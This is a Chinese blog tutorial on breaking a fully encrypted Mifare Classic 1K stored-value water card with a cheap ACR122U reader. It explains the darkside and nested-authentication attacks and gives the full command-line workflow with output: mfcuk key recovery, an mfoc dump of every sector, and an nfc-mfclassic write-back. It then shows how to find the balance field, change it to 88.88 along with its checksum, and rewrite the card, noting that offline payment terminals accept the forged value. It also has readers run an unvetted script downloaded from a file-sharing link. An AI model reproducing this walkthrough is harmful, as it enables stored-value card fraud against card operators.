RFID安全之全加密Mifare Classic 1K卡破解

0x00 前言

  为什么折腾这个?前段时间逛博客偶然看到一篇介绍水卡破解的文章,正好手里有几张卡片,遂决定一试。一番谷歌百度之后发现网络上有很多介绍M1卡破解的文章,其中全加密M1卡破解大多是基于Proxmark3平台,但Proxmark3硬件成本400+,学生党表示很贵。本文尝试基于ACR122平台(成本100+)破解全加密M1卡。

0x01 关于Mifare Classic 1K卡

  Mifare Classic 1K卡简称M1卡,属于非接触式射频卡。而与射频卡进行通讯的技术,叫做近场通讯技术,简称NFC。

  如图所示,该卡共有1KB储存空间,分为16个扇区,每个扇区又分为4个段,每个段有16个字节。每个扇区分为A,B两个部分,分别有密钥来控制数据的访问,每个扇区最后一个段存放KEYA、控制位和KEYB。
m1卡结构

卡片的第一扇区第一段,储存了一个全球唯一的UID,其他还有UID效验位和厂商信息,按规范生产的卡片,该段在出厂时会被写入保护,只能读取不能写入。当然另外还有一种特殊的UID卡,UID能被修改。第一段结构

0x02 准备工作

  先判断一下手里一卡通和水卡的类型,使用Mifare Classic Tool软件读取卡片信息,手机需支持NFC功能。
卡片信息
  左边的一卡通型号为JCOP41 全名Java Card Open Platform,由IBM苏黎世研究实验室开发,安全性很高,这里不做讨论。右边的水卡可以看到型号为Mifare Classic 1K,由恩智浦半导体公司(NXP)开发。

  接下来登场的是我们的硬件平台,也就是读卡器:龙杰ACR122U-A9,如下图。使用时windows平台需安装驱动和验证漏洞攻击软件。另外如有开发需求,还需安装SDK
acr122

0x03 windows平台尝试

  电脑连接ACR122U,打开验证漏洞破解软件尝试使用默认密码破解,如破解成功将会在软件所在目录生产.dump文件。如几秒后出现下图,说明卡片为全加密,即所有扇区的加密密码都不是默认密码。win

nested authentication 验证漏洞原理简介

  因为攻击原理决定这种方法只适合特定情况下的破解。这种攻击是在已知16个扇区任意一个扇区的密钥之后,可以获得其他未知扇区的密钥。前面说过16个扇区是独立,那为什么通过某个扇区还能获取到其他扇区的密钥?这与卡片和读卡器之间的交互通讯方式有关。

  第一次验证时,读卡器首先验证第0扇区密钥,卡片给读卡器发送一个明文随机数n1。读卡器内部用加密算法加密n1,同时产生一个密文随机数n2发送给卡片,卡片用自己的密钥解密n2,如果解密出来的数和之前发送给读卡器的随机数n1相同,则通过验证,之后的通讯都会加密传输。

  第一次的传输为明文,之后的都为加密传输。并且在验证的过程中,是卡片先主动发送随机数给读卡器。如果读卡器用错误的密码加密发送给卡片,卡片解密错误,则验证中断,也就没有之后的加密传输。所以我们至少需要知道一个扇区的密钥,利用这个扇区验证。之后其他扇区的通讯密文包含了这个扇区的密钥信息,再通过验证漏洞软件解出密文中的密钥,进而得到所有扇区的密钥。

darkside 攻击原理简介

  如果卡片不存在默认密钥,则验证漏洞攻击行不通。前面说到破解的关键是让卡片发送加密数据,再通过算法解出密钥,所以需要欺骗卡片发出加密数据。经过研究人员大量的测试后发现卡片算法中存在漏洞,当读卡器发出的密文中某8bit数据正确时,读卡器就会回复一个4bit的密文,而这个密文就包含了密钥的信息,再通过解密算法即可解出密钥。如果一个扇区的密钥被解出,就可以用nested authentication 验证漏洞破解出其他扇区的密钥。

  mfcuk就是基于darkside原理攻击全加密卡的程序。mfcuk是在linux平台下的程序,windows平台下没有原生的支持,有的都是个人编译的exe软件。但是在windows7_64位系统上使用兼容性较差。

0x04 kali平台尝试

  Kali Linux是基于Debian的Linux发行版, 设计用于数字取证和渗透测试和安全攻防,包含很多安全测试工具。其中就有NFC相关的nfc-mfoc、nfc-mfcuk和nfc-mfclassic工具。kali

  如果kali默认程序里面没有mfcuk,可自行编译安装,mfcuk:github地址;另外可能还需要libnfc:github地址。也可脚本一键安装,方便快捷。
脚本地址:https://pan.baidu.com/s/1iQ6u9yiQwfiho1gYwW9mlg 密码:uddn

在下载的文件目录下执行:

sh 2183000857.txt

按提示操作即可。脚本来自这里

测试一下是否可用。

1
2
3
4
5
6
7
8
root@kali:~# nfc-list
nfc-list uses libnfc 1.7.0-rc7
NFC device: ACS / ACR122U PICC Interface opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): e1 cd 82 61
SAK (SEL_RES): 08

包含读卡器型号和卡片UID等信息。

尝试使用mfcuk进行darkside破解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
root@kali:~# mfcuk -C -R 0 -s 250 -S 250

mfcuk - 0.3.8
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, zveriu@gmail.com, http://andreicostin.com

WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd'

INFO: Connected to NFC reader: ACS / ACR122U PICC Interface


VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER: 0

温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> 0080bb043614 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> 36519da2c2c6 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> 1c5d13000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> c5af46000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> c5af46000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> 36519d000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;
段错误

  mfcuk -C -R 0 -s 250 -S 250命令表示尝试恢复第0扇区的密钥,250表示延时250ms。密钥fedcba000026共出现9次,这就是其中一个扇区的密钥。知道密钥就可使用mfoc程序进行验证漏洞攻击。
注:上面出现的错误和警告不影响最终结果。

密钥使用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
root@kali:~# mfoc -k fedcba000026 -O mycard.mfd
The custom key 0xfedcba000026 has been added to the default keys
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
* UID size: single
* bit frame anticollision supported
UID (NFCID1): 92 cc 1d 04
SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092

Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:

Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: fedcba000026] -> [xxxxxxxxxxxxxxxx]
[Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [xxxxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [xxxxxxxxxxxxxxxx]
[Key: 000000000000] -> [xxxxxxxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [xxxxxxxxxxxxxxxx]
[Key: 1a982c7e459a] -> [xxxxxxxxxxxxxxxx]
[Key: aabbccddeeff] -> [xxxxxxxxxxxxxxxx]
[Key: 714c5c886e97] -> [xxxxxxxxxxxxxxxx]
[Key: 587ee5f9350f] -> [xxxxxxxxxxxxxxxx]
[Key: a0478cc39091] -> [xxxxxxxxxxxxxxxx]
[Key: 533cb6c723f6] -> [xxxxxxxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [xxxxxxxxxxxxxxxx]

Sector 00 - FOUND_KEY [A] Sector 00 - FOUND_KEY [B]
Sector 01 - FOUND_KEY [A] Sector 01 - FOUND_KEY [B]
Sector 02 - FOUND_KEY [A] Sector 02 - FOUND_KEY [B]
Sector 03 - FOUND_KEY [A] Sector 03 - FOUND_KEY [B]
Sector 04 - FOUND_KEY [A] Sector 04 - FOUND_KEY [B]
Sector 05 - FOUND_KEY [A] Sector 05 - FOUND_KEY [B]
Sector 06 - FOUND_KEY [A] Sector 06 - FOUND_KEY [B]
Sector 07 - FOUND_KEY [A] Sector 07 - FOUND_KEY [B]
Sector 08 - FOUND_KEY [A] Sector 08 - FOUND_KEY [B]
Sector 09 - FOUND_KEY [A] Sector 09 - FOUND_KEY [B]
Sector 10 - FOUND_KEY [A] Sector 10 - FOUND_KEY [B]
Sector 11 - FOUND_KEY [A] Sector 11 - FOUND_KEY [B]
Sector 12 - FOUND_KEY [A] Sector 12 - FOUND_KEY [B]
Sector 13 - FOUND_KEY [A] Sector 13 - FOUND_KEY [B]
Sector 14 - FOUND_KEY [A] Sector 14 - FOUND_KEY [B]
Sector 15 - FOUND_KEY [A] Sector 15 - FOUND_KEY [B]

We have all sectors encrypted with the default keys..

Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 62, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 61, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 60, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 59, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 58, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 57, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 56, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 55, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 54, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 53, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 52, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 51, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 50, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 49, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 48, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 47, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 46, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 45, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 44, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 43, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 42, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 41, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 40, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 39, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 38, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 37, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 36, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 35, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 34, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 33, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 32, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 31, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 30, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 29, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 28, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 27, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 26, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 25, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 24, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 23, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 22, type A, key fedcba000026 :bd 36 54 00 42 c9 ab ff ff ff 8b 67 12 db 55 aa
Block 21, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 20, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 19, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 18, type A, key fedcba000026 :f6 0c 00 00 09 f3 ff ff f6 0c 00 00 12 ed 12 ed
Block 17, type A, key fedcba000026 :f6 0c 00 00 09 f3 ff ff f6 0c 00 00 11 ee 11 ee
Block 16, type A, key fedcba000026 :04 a2 08 00 29 36 00 00 00 00 00 00 00 00 1d 66
Block 15, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 14, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 13, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 12, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 11, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 10, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 09, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 08, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 07, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 06, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 05, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 04, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 03, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 02, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 01, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 00, type A, key fedcba000026 :92 cc 1d 04 47 08 04 00 01 b7 f9 d2 b1 43 b2 1d

  mfoc -k fedcba000026 -O mycard.mfd -k表示key——即fedcba000026,-O(大写的o)表示output,mycard.mfd表示从卡片中下载数据后储存的文件。
  当然,也可使用mfoc程序的mfoc -O test.mfd命令直接进行默认密钥的验证漏洞破解,就是前面在windows平台第一次尝试的破解方法。从上面输出结果可以看到所有扇区的密钥已被解出,并且卡片中存储的数据也被下载并保存为mycard.mfd。

0x05 数据分析及修改

  这才是整个过程最有趣的地方,因为每种卡片的数据算法不一样,网络上的数据分析过程只能提供参考,不能直接得出数据的算法。只能通过多次导出数据,对比变化的数据猜测寻找出具体的算法。使用命令hexdump mycard.mfd查看刚才下载的mycard.mfd。
数据如下:数据

  030e到02d2的变化,030e为782的十六进制,也就是金额7.82元;02d2是722的十六进制,对应金额7.22元。后面的fcf1和fd2d是030e和02d2的取反值。但下面ac4d到afe3的变化不知道是怎么算出来的。我猜测过很多运算,但最后还是没算出来,这点比较遗憾,不过测试发现,它不影响最终更改数据并正常使用,直接更改金额数据就行。它的大致变化规律是一直增大,猜测和时间有关。

  修改数据我使用的是自带的vim工具,工具使用命令自行百度。命令vi mycard_change.mfd,把mycard.mfd复制一份命名为mycard_change.mfd修改用。
编辑mfd
  出来的乱码是二进制格式显示,再次输入:%!xxd,%xxd是以十六进制显示当前所编辑文件,回车即可正常显示数据。
编辑mfd
  注意:这里显示的数据是倒序的,即前面的030e会显示为0e03。所以修改时也应倒序,我们把金额修改为8888,十六进制为22b8,倒序为b822,再修改对应的取反值。退出编辑时先输入:%!xxd -r,如下图,作用是将十六进制还原为二进制。
退出编辑

退出后在二进制模式才能保存编辑,输入:wq保存并退出Vim。
保存mfd
  为防止不小心输入错误的命令损坏数据,保存后再用hexdump mycard.mfd命令查看修改后的数据,检查数据是否正确。别问我为什么,曾经没检查导致卡片报废。

  最后一步,使用nfc-mfclassic为卡片写入修改后的数据。命令nfc-mfclassic w a mycard_change.mfd mycard.mfd,w表示write;a表示使用key a验证;mycard_change.mfd为更改后的文件;mycard.mfd为访问卡片时验证密钥的文件,只要是同一张卡片下载的mfd文件就行。

1
2
3
4
5
6
7
8
9
10
11
root@kali:~# nfc-mfclassic w a mycard_change.mfd mycard.mfd
NFC reader: ACS / ACR122U PICC Interface opened
Found MIFARE Classic card:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): 92 cc 1d 04
SAK (SEL_RES): 08
Guessing size: seems to be a 1024-byte card
Writing 64 blocks |...............................................................|
Done, 63 of 64 blocks written.
root@kali:~#

测试一下

test

0x06 后记

  本次验证工作用时一个星期左右,主要的时间花在平台环境搭建和数据分析这块。没想到最后根本不用分析都行,也是颇感意外。修改数据后能使用的关键是卡片的数据和扣费机器处于离线状态,机器不能对比卡片的数据。像一卡通就是数据联网的卡片,并且本身也是安全级别非常高的CPU卡,任何消费和充值联网服务器都有记录。

注:本文仅作为安全测试验证用,如转载请注明出处。

-------------本文结束感谢您的阅读-------------